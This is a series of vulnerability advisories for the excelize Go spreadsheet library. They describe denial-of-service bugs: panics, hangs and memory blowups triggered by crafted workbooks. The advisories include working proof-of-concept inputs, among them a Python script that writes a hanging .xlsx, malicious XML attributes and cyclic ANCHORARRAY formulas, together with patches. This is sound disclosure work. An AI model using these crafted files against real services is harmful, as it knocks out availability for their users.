See how excelize compares to other vendors in security performance
Summary
extractPivotTableFields builds order := pc.getPivotCacheFieldsName() from xl/pivotCache/pivotCacheDefinitionN.xml's <cacheFields> list, then indexes it with values taken from a separately parsed xl/pivotTables/pivotTableN.xml part with zero cross-validation: order[field.Fld] where field.Fld is a raw attacker-controlled int from the <dataField fld="N"> attribute, and order[fieldIdx] where fieldIdx is a loop index over pt.PivotFields.PivotField that need not match the cache's field count. I executed two independent PoCs against the current HEAD: (1) trimmed the pivot cache's <cacheFields> to count=0 while leaving the pivot table's 2 pivotFields untouched -> runtime error: index out of range [0] with length 0 at pivotTable.go:1431; (2) left the 2 cache fields completely intact and only changed one attribute, fld="1" -> fld="99999", in xl/pivotTables/pivotTable1.xml -> runtime error: index out of range [99999] with length 2 at pivotTable.go:1443. Both stack traces confirmed via non-recovered go test runs: extractPivotTableFields -> getPivotTable -> GetPivotTables.
Reachability / who can trigger this
Unauthenticated: any application that opens an untrusted .xlsx containing a pivot table and calls the public File.GetPivotTables(sheet) API. excelize has no recover() anywhere, so this crashes the host process (CLI/worker) or surfaces as an unhandled 500 in a request-scoped-recover HTTP service. Deterministic, single small crafted file, no user interaction beyond the service's normal open-and-read flow.
Proof of Concept / Reproduction
Method: 1) Verified source at HEAD (commit e81f0500, 2026-09-27, freshly cloned/up to date; git status clean except the new PoC files I added): read pivotTable.go:1425-1454 and confirmed verbatim: order := pc.getPivotCacheFieldsName() (1428), loop for fieldIdx, field := range pt.PivotFields.PivotField indexing order[fieldIdx] at axisRow/axisCol/axisPage (1431/1434/1437), and Data: order[field.Fld] (1443) inside the pt.DataFields.DataField loop -- zero bounds checks anywhere. Confirmed xmlPivotTable.go:271 Fld int xml:"fld,attr" on xlsxDataField (raw attacker-controlled int, no validation) and the sibling Fld field at line 252. Ran go build ./... -- compiles clean. Both citations are accurate. 2) Found the repo already contained an untracked PoC test file from earlier work (pivotfldpoctest.go) implementing this exact finding via a byte-level zip-tamper technique (build a legitimate workbook with excelize's own public AddPivotTable API, then hex-edit one raw XML part inside the saved .xlsx's zip bytes -- not a hypothetical reimplementation, uses the real unmodified excelize package). Did not just trust it: ran it myself with go test -run 'TestPivotTableDataFieldFldIndexPanic|TestPivotTableDataFieldFldAttributeOutOfRangePanic' -v . and observed real PASS output with exact matching panic strings. 3) For stronger, independent evidence beyond a recover-wrapped test, I wrote my own standalone non-test Go program from scratch, cmd/pivotcrash/main.go (module github.com/xuri/excelize/v2, go1.27.0 toolchain), that imports the real compiled excelize package (no reimplementation) with two subcommands: gen/gen-trim (attacker: build a legit pivot-table workbook via the public API, then rezip with one XML part tampered -- either dataField fld="1"->fld="99999", or the pivot cache's <cacheFields count="2"> collapsed to count="0" -- writing the crafted .xlsx to disk) and run (victim: a fresh OS process that does exactly what any consumer service does -- excelize.OpenFile(path) then f.GetPivotTables("Sheet1") -- with zero recover() anywhere in the file or the call chain). Executed as four separate go run process invocations: gen, run, gen-trim, run.
Evidence: Test run (pre-existing PoC file, re-executed by me, both PASS): --- PASS: TestPivotTableDataFieldFldIndexPanic (0.00s) logging CONFIRMED: GetPivotTables panicked ... runtime error: index out of range [0] with length 0 --- PASS: TestPivotTableDataFieldFldAttributeOutOfRangePanic (0.00s) logging CONFIRMED: GetPivotTables panicked ... runtime error: index out of range [99999] with length 2 ok github.com/xuri/excelize/v2 0.114s
Standalone process-crash run #1 (go run ./cmd/pivotcrash run pivotcrashmalicious.xlsx, fld="99999" tamper, cache untouched with 2 fields): [victim] file opened successfully, workbook parsed with no errors [victim] now calling f.GetPivotTables("Sheet1") on the untrusted workbook... panic: runtime error: index out of range [99999] with length 2 goroutine 1 [running]: github.com/xuri/excelize/v2.(File).extractPivotTableFields(...) .../pivotTable.go:1443 +0xb9b github.com/xuri/excelize/v2.(File).getPivotTable(...) .../pivotTable.go:1379 +0x7f6 github.com/xuri/excelize/v2.(File).GetPivotTables(...) .../pivotTable.go:1278 +0x2f7 main.runVictim(...) / main.main() -> exit status 2
Standalone process-crash run #2 (go run ./cmd/pivotcrash run pivotcrashmalicioustrim.xlsx, cacheFields trimmed to count=0, pivot table's 2 pivotFields untouched): panic: runtime error: index out of range [0] with length 0 goroutine 1 [running]: github.com/xuri/excelize/v2.(File).extractPivotTableFields(...) .../pivotTable.go:1431 +0xc15 github.com/xuri/excelize/v2.(File).getPivotTable(...) .../pivotTable.go:1379 +0x7f6 github.com/xuri/excelize/v2.(File).GetPivotTables(...) .../pivotTable.go:1278 +0x2f7 main.runVictim(...) / main.main() -> exit status 2
In both standalone runs the "GetPivotTables RETURNED NORMALLY" print statement that follows the call was never reached -- the OS process itself terminated via an unrecovered Go panic (exit status 2), for a crafted .xlsx that excelize.OpenFile accepted without any error. Both stack traces terminate at the exact claimed sink lines (pivotTable.go:1443 and :1431) via the exact claimed call chain (extractPivotTableFields -> getPivotTable -> GetPivotTables). This is a real, unhandled crash of a real process running unmodified excelize code -- not a mock, not a simulated/hypothetical trace.
Novelty
Ran all 5 requested checks in full, plus extra verification. (1) Pulled the complete, paginated GHSA list via gh api (16 advisories, all state=published, no hidden drafts) and grepped full descriptions, not just summaries, for "pivot" -- only one incidental, non-overlapping hit (GHSA-wp2g-vpjj-g53r cites pivotTable.go:538 as an AddPivotTable call site for an unrelated formula-recursion stack-overflow bug). (2) Ran ~15 targeted GitHub issue searches (extractPivotTableFields, getPivotCacheFieldsName, GetPivotTables panic, dataField fld, BaseField, ShowValuesAs, "index out of range", cacheFields count mismatch, PivotFields panic, DataField, plus a broad "pivot" query returning 30 issues/PRs all individually triaged by title) and full-text-read the 5 most plausible (#2161, #1937, #2183, #1954, #1945) -- none match; the closest (#2161) is a nil-pointer bug in a different function/field, detailed above. (3) Checked PRs both by keyword (is:pr pivot = 10, is:pr "pivotTable.go" fld = 0, all reviewed; read PR #2168's full diff) and exhaustively (pulled all 31 currently-open PRs on the repo and reviewed every title) -- none touch pivot field indexing. (4) Ran 5 WebSearch queries combining the mechanism with "excelize"/"pivot table"/"CVE", and independently cross-checked OSV.dev's API (which mirrors NVD/GHSA/GO vuln DB) -- turned up only the already-ruled-out GHSA-fx5j (shared-string) and GHSA-h69g (row allocation) advisories, and a non-upstream automated "task"-tracking repo (windyswe/q ...[truncated for brevity]
Closest prior art considered: qax-os/excelize issue #2161 + merged PR #2168 ("This closes #2161, fix panic on read unsupported pivot table cache source types", merged 2025-07-05). That bug: pivotCacheDefinition.xml's <cacheSource type="external"/> has no <worksheetSource> child, so pc.CacheSource.WorksheetSource is a nil pointer, and getPivotTable() (then pivotTable.go:875) dereferenced .Sheet/.Ref on it -> nil-pointer-dereference panic, reached via GetPivotTables (then line 803). Fix was an early type-validation error return in getPivotTable, not any bounds check. SAME-FIX TEST: would that fix also close the candidate bug? No. The candidate's panic is index-out-of-range (not nil-deref) inside a different function, extractPivotTableFields, on a different data structure: order := pc.getPivotCacheFieldsName() (length = count of <cacheFields>) indexed by (a) a loop counter over pt.PivotFields.PivotField (a separate, unrelated count from pivotTableN.xml) at lines 1431/1434/1437, and (b) the raw unvalidated int field. ...[truncated for brevity]
Independent skeptical review
Tried hard to kill this and it holds. Independently re-read current HEAD (e81f05008b3, fetched and diffed against origin/master to confirm it's current) rather than trusting the report: pivotTable.go:1427-1454 (extractPivotTableFields) has zero bounds checks on order[fieldIdx] (axisRow/Col/Page branches, lines 1431/1434/1437) or order[field.Fld] (line 1443) — confirmed by direct Read, matching the claim's line citations exactly. This is a genuine oversight, not a designed invariant: the very next function in the same file, extractPivotTableShowValuesAs (lines 1476, 1486) and extractPivotTableField (line 1508), DO bounds-check structurally identical order/slice indices before using them — the developers clearly know this pattern needs guarding and simply missed it in extractPivotTableFields. Confirmed xmlPivotTable.go:271 Fld is a bare unchecked int XML attribute, and confirmed getPivotTable/pivotCacheReader/pivotTableReader perform no count-vs-actual-length cross-validation between the independently-parsed pivotTable and pivotCache XML parts. Grepped the entire repo for recover() — zero hits outside the researcher's own test file, confirming "no recover anywhere" is accurate. Re-ran both provided PoCs myself in a throwaway test file against this exact HEAD (go test -run TestPoCPivotCache -v): both panic exactly as claimed, with byte-identical messages — "index out of range [0] with length 0" (truncated-cache-fields PoC, line 1431) and "index out of range [99999] with lengt ...[truncated for brevity]
Summary
A worksheet whose <row r="..."> number is far past Excel's 1,048,576-row limit makes File.GetRows and the Rows iterator loop once for every missing row. The row limit is checked in Rows.Next, but not in Rows.Columns, which also reads <row> elements. A 1.5 KB file with <row r="231999999999940"> after an ordinary first row keeps GetRows busy for an estimated 11 days (about 4 ns per missing row), using one CPU core and little memory. Any service that calls GetRows or iterates Rows on an uploaded workbook can be tied up by a single request.
Details
Rows.Next checks the row number:
go rowNum, := attrValToInt("r", xmlElement.Attr) if rowNum > TotalRows { rows.err = ErrMaxRows return false }
But Rows.Columns reads the cells of the current row by consuming tokens until it reaches the next <row> element, and it sets rows.curRow from that element's r without the check (rows.go, around line 179 at 3985c1f):
go if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 { rows.curRow = rowNum }
After that, rows.curRow is 231999999999940, and each later Next() call takes the rows.curRow >= rows.seekRow shortcut and returns true without reading any XML. GetRows then calls Next() and Columns() once per row number from 2 to 231999999999940. The check in Next() never runs, because the oversized <row> element was already consumed by Columns().
If the oversized row is the first row, Next() reads it and the existing check works; TestGetRows covers only that case. The bug needs a valid row first.
Proof of concept
This script uses only the Python standard library and writes a 1.5 KB workbook:
python import zipfile parts = { "[ContentTypes].xml": '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>', "rels/.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>', "xl/workbook.xml": '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>', "xl/rels/workbook.xml.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>', "xl/worksheets/sheet1.xml": '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="231999999999940"><c r="A231999999999940"><v>2</v></c></row></sheetData></worksheet>', } with zipfile.ZipFile("poc.xlsx", "w", zipfile.ZIPDEFLATED) as z: for name, xml in parts.items(): z.writestr(name, xml)
go f, := excelize.OpenFile("poc.xlsx") rows, err := f.GetRows("Sheet1") // does not return
Measured on v2.11.0 (linux/amd64), same file shape: a row number of 2,000,000,000 takes 8.3 s, 4,294,967,297 takes 17.5 s, and 231,999,999,999,940 did not finish in 15 minutes. That's linear, so about 11 days. Max RSS stays at about 10 MB.
The same pattern is in clusterfuzz-testcase-minimized-POIXSSFFuzzer-5937385319563264.xlsx in Apache POI's public test data (its sheet8.xml has <row r="231999999999940">). That's how this was found, by running excelize over POI's test files as part of differential testing with xlsx-lean (https://github.com/keithadler/xlsx-lean).
Suggested patch
Apply the same limit in Columns(), and have Next() stop once an error is recorded. With this change both files above return ErrMaxRows immediately. go test ./... passes (about 130 s). The new test case hangs without the change and passes in 0.015 s with it.
diff --- a/rows.go +++ b/rows.go @@ -97,6 +97,9 @@ type Rows struct { // Next will return true if it finds the next row element. func (rows Rows) Next() bool { + if rows.err != nil { + return false + } rows.seekRow++ if rows.curRow >= rows.seekRow { rows.curRowOpts = rows.seekRowOpts @@ -176,7 +179,10 @@ func (rows Rows) Columns(opts ...Options) ([]string, error) { rowIterator.inElement = xmlElement.Name.Local if rowIterator.inElement == "row" { rowNum := 0 - if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 { + if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum > TotalRows { + rows.err, rows.token = ErrMaxRows, nil + return rowIterator.cells, rows.err + } else if rowNum != 0 { rows.curRow = rowNum } else if rows.token == nil { rows.curRow++ --- a/rowstest.go +++ b/rowstest.go @@ -28,6 +28,18 @@ func TestGetRows(t testing.T) { f.checked = sync.Map{} , err = f.GetRows("Sheet1") assert.Equal(t, ErrMaxRows, err) + // Test get rows from a file with a row number over the limit after a valid + // row, which is read by Rows.Columns rather than Rows.Next: this used to + // iterate once per missing row, about 2.3e14 times here + f = NewFile() + f.Pkg.Store("xl/worksheets/sheet1.xml", fmt.Appendf(nil, <worksheet xmlns="%s"><sheetData><row r="1"><c><v>1</v></c></row><row r="231999999999940"><c><v>2</v></c></row></sheetData></worksheet>, NameSpaceSpreadSheet.Value)) + f.Sheet.Delete("xl/worksheets/sheet1.xml") + buf, err := f.WriteToBuffer() + assert.NoError(t, err) + f, err = OpenReader(buf) + assert.NoError(t, err) + , err = f.GetRows("Sheet1") + assert.Equal(t, ErrMaxRows, err) } func TestRows(t testing.T) {
Impact
Denial of service (CPU exhaustion) for any application that reads untrusted workbooks with GetRows or the Rows iterator. No authentication or user interaction is needed beyond the application accepting a file.
Summary
Any file whose first 8 bytes are the OLE compound-file signature (D0 CF 11 E0 A1 B1 1A E1) is routed by OpenFile/OpenReader/OpenBytes → openReaderAt → Decrypt. The version dispatch only guarantees len(EncryptionInfo) >= 4 before handing attacker-controlled EncryptionInfo/EncryptedPackage buffers to standardDecrypt/agileDecrypt, and no callee validates structure. Malformed but version-valid content therefore fails as an unrecovered runtime panic instead of an error, terminating the calling process.
Details
All panic classes below were execution-confirmed against pristine master (ecd99d761fe0, 2026-09-08). excelize.go:211-213 maps Decrypt errors to ErrWorkbookFileFormat, but panics bypass that path and kill the process.
| # | Malformed input | Panic | Site | |---|---|---|---| | 1 | standard, len(EncryptionInfo) 4–11 | slice bounds [:12] | crypt.go:238 | | 2 | standard, attacker-controlled headerSize uint32 | slice bounds [12:12+headerSize] / fixed-offset header reads | crypt.go:238-249 | | 3 | standard, verifier remainder < 72 (AES) / 60 (RC4) bytes | slice bounds in standardEncryptionVerifier | crypt.go:282-295 | | 4 | standard, header.KeySize = 0xFFFFFFFF | slice bounds [:536870911] with capacity 48 | crypt.go:321 | | 5 | standard, EncryptedPackage stream missing/short | slice bounds [8:0] | crypt.go:268 | | 6 | agile, len(EncryptionInfo) 4–7 | slice bounds [8:4] | crypt.go:407 | | 7 | agile, valid XML without <keyEncryptors> | index out of range [0] with length 0 | crypt.go:416, 433 | | 8 | agile, saltValue decoded length ≠ AES block | cipher.NewCBCDecrypter: IV length must equal block size | crypt.go:425 → 512 | | 9 | any, keyData blockSize="0" | integer divide by zero | crypt.go:539 |
Note the asymmetry pinpointing the missing constraint: the agile path already checks len(EncryptedPackage) >= 8 (crypt.go:520-523) but the standard path does not (#5). Existing tests only cover the error paths (short <4 bytes → ErrUnknownEncryptMechanism, bad XML, base64 errors), never these panic paths.
PoC
Standalone programs (public API only, inputs built in memory) were provided to the maintainer by email: 1-decrypt-panic builds seven malformed CFB containers and shows each panic escaping the public Decrypt API plus one end-to-end OpenReader crash. All cases print PANIC on master and BLOCKED with the proposed patch. A regression guard proves legitimate decryption is unaffected: a workbook encrypted with the package's own Encrypt() still opens through the same code path.
(A separate advisory covers the unbounded/negative allocation in extractPart.)
Impact
Any service that calls OpenFile/OpenReader/OpenBytes on untrusted input (upload processing, mail scanning, spreadsheet conversion) can be killed remotely and without authentication by a file of ~100 bytes to ~3 KB. No password is required — panics occur during structural/parameter handling before successful decryption. Site variety means filtering one pattern does not help.
Proposed fix
A recover() boundary in Decrypt mapping any panic to ErrWorkbookFileFormat (restores the documented error-routing contract; legitimate standard/agile decryption unaffected). A complete patch has been provided to the maintainer; per-site length validation is recommended as defense in depth.
Summary
ANCHORARRAY (calc.go:15137 on current master) evaluates each cell of the referenced spill range by calling the exported CalcCellValue, which unconditionally constructs a fresh calcContext — fresh entry marker, fresh iterations map, full MaxCalcIterations budget (calc.go:896-900). The circular-reference control only exists within one context: the entry-exclusion marker and per-ref iteration budget are fields of that single context, and completion-based caching (formulaArgCache/calcRawCache) only ever stores results of evaluations that finish.
During a pure cycle no nested evaluation ever finishes, so nothing is ever cached to break the recursion, and each hop re-arms the entire budget. Two ordinary, Excel-legal constructs in an attacker-supplied workbook are enough:
- A1 (dynamic array formula, ref A1:A1): xlfn.ANCHORARRAY($B$1) - B1 (dynamic array formula, ref B1:B1): xlfn.ANCHORARRAY($A$1)
→ CalcCellValue → calcCellValue → evalInfixExp → parseReference → cellResolver → … → ANCHORARRAY → CalcCellValue → … forever, ending in a fatal, unrecoverable Go runtime error: runtime: goroutine stack exceeds …-byte limit / fatal error: stack overflow. Go stack overflows cannot be recovered — the whole process aborts.
Details
- The terminating edge the iterations gate is supposed to provide does not exist across contexts: there is no in-flight tracking shared between nested CalcCellValue calls. - Both formulas are ordinary Excel-legal constructs; no exotic XML is required. - Excelize's own APIs reach formula evaluation on untrusted cells implicitly (e.g. pivotTable.go:538, picture.go:985/1141, col.go:892), so a service that merely adds a pivot table or a picture over such a workbook dies. - No option value prevents it: MaxCalcIterations is irrelevant because every hop gets a fresh budget. - Measured: a 64 MB stack budget is exhausted in ~0.09 s; the ~1 GB default in ~1–2 s.
PoC
A standalone program (public API only) was provided to the maintainer by email (4-anchorarray-recursion): NewFile + SetCellFormula with FormulaOpts{Type: array, Ref: A1:A1 / B1:B1}, then CalcCellValue("Sheet1","A1"). On master ecd99d761fe0 (2026-09-08) the process aborts with fatal error: stack overflow; with the proposed patch the cycle terminates normally (CYCLETERMINATED) and existing calc tests pass.
Impact
An attacker ships a workbook containing the two formulas; any service that evaluates a formula over those cells — directly via CalcCellValue, or implicitly via AddPivotTable / AddPicture / auto-fit — aborts. Remote, unauthenticated, process-fatal, no configuration prevents it.
Proposed fix
Evaluate spill-range cells through the current calculation context — fn.f.cellResolver(fn.ctx, …) instead of the exported CalcCellValue — so the entry check and iterations gate of the running calculation apply. cellResolver returns the typed value directly (dropping a string round-trip); an ArgEmpty → "" shim preserves the existing ToNumber behavior for empty spill cells, and a fresh-context fallback covers the legacy nil-ctx test paths. A complete patch has been provided to the maintainer.
Summary
extractPart allocates directly from the mscfb directory-entry size with no clamping (crypt.go:198, same missing bound at crypt.go:204):
go buf := make([]byte, entry.Size)
entry.Size is the raw streamSize field from the attacker-controlled CFB directory entry (mscfb v1.0.8 fixFile, file.go:109-120: full uint64 → int64 for major version 4, low uint32 for v3). mscfb only detects short sector chains later, inside File.Read (file.go:485-489 "emergency brake") — i.e. after the allocation. The zip path already enforces UnzipSizeLimit, and the KDF path bounds work with maxSpinCount; this path consults no limit at all.
Details
Two consequences, both execution-confirmed against pristine master (ecd99d761fe0, 2026-09-08):
1. Hard crash: a version-4 CFB declaring streamSize = 0xFFFFFFFFFFFFFFFF yields entry.Size == -1 → panic: runtime error: makeslice: len out of range, which escapes Decrypt (openReaderAt converts errors, not panics, excelize.go:210-214) and kills the process. 2. Memory exhaustion: any CFB (v3 suffices) declaring streamSize up to 0xFFFFFFFF forces up to 4 GiB of zeroed allocation from a ~12 KB file — an amplification factor of ~350,000×, trivially repeated per request in memory-limited deployments.
Call path: OpenFile/OpenReader/OpenBytes → openReaderAt (excelize.go:208-215, OLE magic sniff) → Decrypt (crypt.go:145-150) → extractPart (crypt.go:198).
PoC
A standalone program (public API only) was provided to the maintainer by email (2-extractpart-oom): it builds a valid-enough v4 (4096-byte sector) CFB — header (signature, sector shift 0x0C, DIFAT[0]=1), one directory sector with Root Entry (typeID 5, child=1) and a stream entry EncryptionInfo (objectType=2, startingSector=endOfChain, streamSize=0xFFFFFFFFFFFFFFFF). mscfb.New succeeds, doc.Next() returns the entry, and extractPart calls make([]byte, -1) before any chain validation. On master ecd99d761fe0 the program prints panic: runtime error: makeslice: len out of range; with the proposed patch it prints BLOCKED. An -oom flag demonstrates the 4 GiB allocation variant with streamSize = 0xFFFFFFFF.
Impact
An attacker uploads any file starting with the OLE signature D0 CF 11 E0 A1 B1 1A E1 (~12 KB is enough) to a service that calls excelize.OpenFile/OpenReader/OpenBytes on it (or calls Decrypt directly): remote, unauthenticated process crash (hard panic) or forced 4 GiB allocation per request (OOM) with a ~350,000× amplification factor.
Proposed fix
Bound the declared stream size before allocating in extractPart: reject negative sizes and sizes above a sane policy cap (1 GiB is far above any real encrypted-workbook part) with ErrWorkbookFileFormat, so malformed CFBs are rejected as errors instead of panicking or OOMing. A complete patch has been provided to the maintainer; verified that the patch blocks the PoC while legitimate Encrypt() output still opens.
Affected versions and vulnerable location
- Confirmed at ae2113b (current HEAD). - Sink: rows.go:967 ws.SheetData.Row[rowIdx].C[colNum-1] = colData inside checkRow. - checkRow computes lastCol from the column of the last cell in document order (rows.go:940), allocates targetList of that length, then re-scatters every source cell into C[colNum-1].
Root cause
The slice is sized from the last cell's column, but cells are not required to be column-sorted in the XML. A cell that appears earlier in the row but references a higher column than the last cell has colNum-1 >= len(targetList), so the assignment writes out of range. MaxColumns/TotalRows do not help, every individual column is valid; the bug is the ordering assumption, not magnitude.
Attacker model and reachability
Any service that opens an untrusted spreadsheet and calls a worksheet API that goes through workSheetReader -> checkRow (excelize.go:332): GetCellValue, GetCellFormula, CalcCellValue, GetMergeCells, SetCellValue, and essentially every non-streaming worksheet call. (The streaming GetRows/Rows() SAX path does not trigger it.) Unauthenticated, deterministic, unrecovered panic -> process crash.
Proof of concept (executed)
Crafted xl/worksheets/sheet1.xml with a row whose cells are out of column order and whose earlier cell exceeds the last cell's column:
xml <row r="1"><c r="D1"><v>4</v></c><c r="C1"><v>3</v></c></row>
GetCellValue("Sheet1","A1") (via getCellStringFunc -> workSheetReader -> checkRow) panicked index out of range [3] with length 3 at rows.go:967.
Confirming grep:
bash rg -n "func checkRow|lastCol|Row\[rowIdx\].C\[colNum-1\]" rows.go
Suggested fix
Size targetList from the maximum cell column in the row (not the last cell in document order), or bounds-check colNum-1 against len(targetList) and grow the slice as needed before the assignment.
leftRight (calc.go:14236) tests the length with countUTF16String, which counts a rune above U+FFFF as 2. The RIGHT branch on 14241 then slices []rune(text) at utf8.RuneCountInString(text)-numChars, which counts it as 1. For text with N such runes the two measures are 2N and N, so any numChars between them passes the guard and gives a negative index. The numChars < 0 check at 14216 does not help, since the value that gets through is positive.
What makes it worth reporting is AutoFitColWidth, which evaluates formulas without looking like it does, so normalising an uploaded sheet is enough to reach it. One scoping correction to my own wording there: AutoFitColWidth was added in v2.11.0 and does not exist at v2.10.1, so on v2.10.1 the only reachable path is an explicit CalcCellValue.
A 6,077-byte file containing two U+1D7D9 characters in A1 and RIGHT(A1,3) in B1 was created and then opened in a separate program without recovery enabled:
v2.9.1 ok v2.10.0 ok v2.10.1 panic: slice bounds out of range [-1:] v2.11.0 panic: slice bounds out of range [-1:]
So it is a regression, not an old defect. Commit a880146 (2026-01-16) moved the guard to countUTF16String and left the slice on the rune index, and git tag --contains gives v2.10.1 and v2.11.0 only.
RIGHT only. RIGHTB reaches the same function but takes the byte branch at 14225, which is internally consistent, and I probed MID and MIDB from 1 to 5 with no panic. It is the same negative-index family as GHSA-fx5j-qcqg-grpf and GHSA-48hm-4h8j-58fg, though those are shared-string lookups in the reader rather than a unit mismatch in the formula library.
Summary
The max attribute of a <col> element in xl/worksheets/sheetN.xml is read verbatim on open with no check against MaxColumns, and flatCols() then walks Min..Max doing a deepcopy.Copy and append per iteration. Executed: max="300000", only about 18x past the real 16384 limit, cost 46.2 s of CPU and 122 MB on a single SetColWidth call, and the growth is linear in max up to 2^31-1.
Confirmed at ae2113b (HEAD at the time of audit).
Details
col.go:547, flatCols(), with the two loops at :549 and :564:
go for i := col.Min; i <= col.Max; i++ { ... for i := column.Min; i <= column.Max; i++ { ... fc = append(fc, deepcopy.Copy(...)) }
column.Min and column.Max are plain int attributes on xmlWorksheet.go:279-280, bound straight from the file. MaxColumns is 16384 (templates.go:176) and nothing in the parse path compares against it.
The contrast that makes this an oversight rather than a design decision is inside the callers themselves. SetColWidth validates its own column argument through parseColRange, which clamps to MaxColumns. But flatCols iterates ws.Cols.Col, the file-loaded slice, so the caller's validated argument never constrains the loop. The crafted column expands no matter which column the caller touches.
The row axis has the guard this axis is missing: GHSA-h69g-9hx6-f3v4 capped checkSheet's row allocation at TotalRows, and GHSA-q5j5-6p94-4gwc capped streaming Rows.Next. There is no column-axis equivalent.
Public entry points that flatten the existing columns: SetColWidth (col.go:498 into :534), SetColStyle (col.go:431 into :477), SetColVisible (col.go:282 into :313), SetColOutlineLevel (col.go:376 into :407).
PoC
Executed in-package: crafted a real xlsx, rezipped with an injected <cols> block before <sheetData>, opened it with OpenReader, then called SetColWidth.
xml <cols><col min="1" max="2147483647" width="9"/></cols>
go f.SetColWidth("Sheet1", "A", "A", 12)
Measured:
- max="300000": 46.2 s CPU, 122 MB allocated, ws.Cols.Col grew to 300000 entries, from one call. - max="5000000": did not complete in 110 s, killed by the test timeout.
Growth is linear in max. At max=2147483647 that is roughly two billion xlsxCol allocations, which is hundreds of gigabytes and in practice a permanent hang ending in OOM.
Impact
Any service that opens an untrusted spreadsheet and calls a column mutator. The input is a few dozen bytes of XML inside an otherwise ordinary workbook, no authentication is involved beyond whatever gates the upload, and the process is either wedged for minutes or killed by the OOM reaper. Availability only; no read or write primitive here.
Suggested fix
Validate col.Min and col.Max against MinColumns/MaxColumns when parsing the <col> element, or at the top of flatCols, returning ErrColumnNumber for out-of-range values. That mirrors what checkRowNum already does on the row axis.
Why this is not GHSA-h69g-9hx6-f3v4 or GHSA-q5j5-6p94-4gwc
Both of those are row-axis allocation bounds, and both fixes cap at TotalRows. Neither touched <col> parsing or flatCols. This is the same weakness class on the column axis, and it is arguably worse than the two that were fixed, because those had a cap that was bypassed while this one has no cap at all.
Summary
File.GetStyle indexes the fill, border and font tables with values taken straight out of xl/styles.xml, and the conditions gating those lookups check only the upper bound. A workbook whose cellXfs entry carries fillId="-1", borderId="-1" or fontId="-1" reaches a negative slice index and panics. excelize has no recover(), so the panic leaves GetStyle and takes the calling process with it.
Same defect class as GHSA-48hm-4h8j-58fg, the negative shared-string index, in a different file. That one was fixed by adding the missing lower bound; these three sites still lack it.
Where it is
styles.go, in GetStyle, lines 1683, 1686 and 1689:
go xf := s.CellXfs.Xf[idx] if extractStyleCondFuncs"fill" { f.extractFills(s.Fills.Fill[xf.FillID], s, style) } if extractStyleCondFuncs"border" { f.extractBorders(s.Borders.Border[xf.BorderID], s, style) } if extractStyleCondFuncs"font" { style.Font = extractFont(s.Fonts.Font[xf.FontID]) }
The conditions, at lines 1171 to 1185, bound only the top:
go "fill": func(xf xlsxXf, s xlsxStyleSheet) bool { return (xf.ApplyFill == nil || (xf.ApplyFill != nil && xf.ApplyFill)) && xf.FillID != nil && s.Fills != nil && xf.FillID < len(s.Fills.Fill) },
xf.FillID < len(...) is satisfied by any negative value. FillID, BorderID and FontID are int unmarshalled directly from the fillId, borderId and fontId attributes, so the value is whatever the file says. The border and font conditions have the same shape.
The correct pattern is already in the same function, six lines above at 1677:
go if idx < 0 || s.CellXfs == nil || len(s.CellXfs.Xf) <= idx { return style, newInvalidStyleID(idx) }
and again at 1783. So the style index itself is guarded on both sides while the three ids it leads to are not.
Proof of concept
Executed against master at f98df08, which is the merge of #2366, so this is current rather than historical. The harness builds a normal styled workbook with excelize, rewrites one attribute of the cellXfs entry inside the zip to -1, reopens it and calls GetCellStyle then GetStyle:
control (all >= 0) ok style=true err=<nil> fillId=-1 PANIC: runtime error: index out of range [-1] borderId=-1 PANIC: runtime error: index out of range [-1] fontId=-1 PANIC: runtime error: index out of range [-1]
The control confirms the harness reads a valid file correctly, so the three panics are the negative ids rather than a broken fixture. Worth mentioning because my first attempt at this harness patched only fillId and appeared to show the other two were fine; they are not, the replacement had simply missed them.
Impact
Any application that opens an untrusted .xlsx and reads cell styling crashes. GetStyle is reached through GetCellStyle and from the style-copying and rendering paths, so it sits on the ordinary read path. With no recover() anywhere in excelize, a CLI or worker exits and a service returns 500 per request unless the caller installed its own recovery middleware.
No memory corruption and no information disclosure. Availability only.
Suggested fix
Add the lower bound to each of the three conditions, matching what line 1677 already does for the style index:
go xf.FillID >= 0 && xf.FillID < len(s.Fills.Fill)
and the same for BorderID and FontID. Three one-line changes in extractStyleCondFuncs.
Summary
A Zip64 uncompressed-size of 2^63 casts to a negative int64 that bypasses the unzip-size guard and reaches make([]byte, 0, negativeCap)
A Zip64 uncompressed-size in the range [2^63, 2^64) casts to a negative int64 in zip.File.FileInfo().Size(), and ReadZipReader does signed arithmetic on that value, so the total-decompression guard is bypassed and the negative size reaches make([]byte, 0, size) in readFile. A 159-byte crafted file panics OpenFile and OpenReader with runtime error: makeslice: cap out of range.
The guard, at lib.go:44-46 on HEAD ae2113b:
go fileSize := v.FileInfo().Size() unzipSize += fileSize if unzipSize > f.options.UnzipSizeLimit { return fileList, worksheets, newUnzipSizeLimitError(f.options.UnzipSizeLimit) }
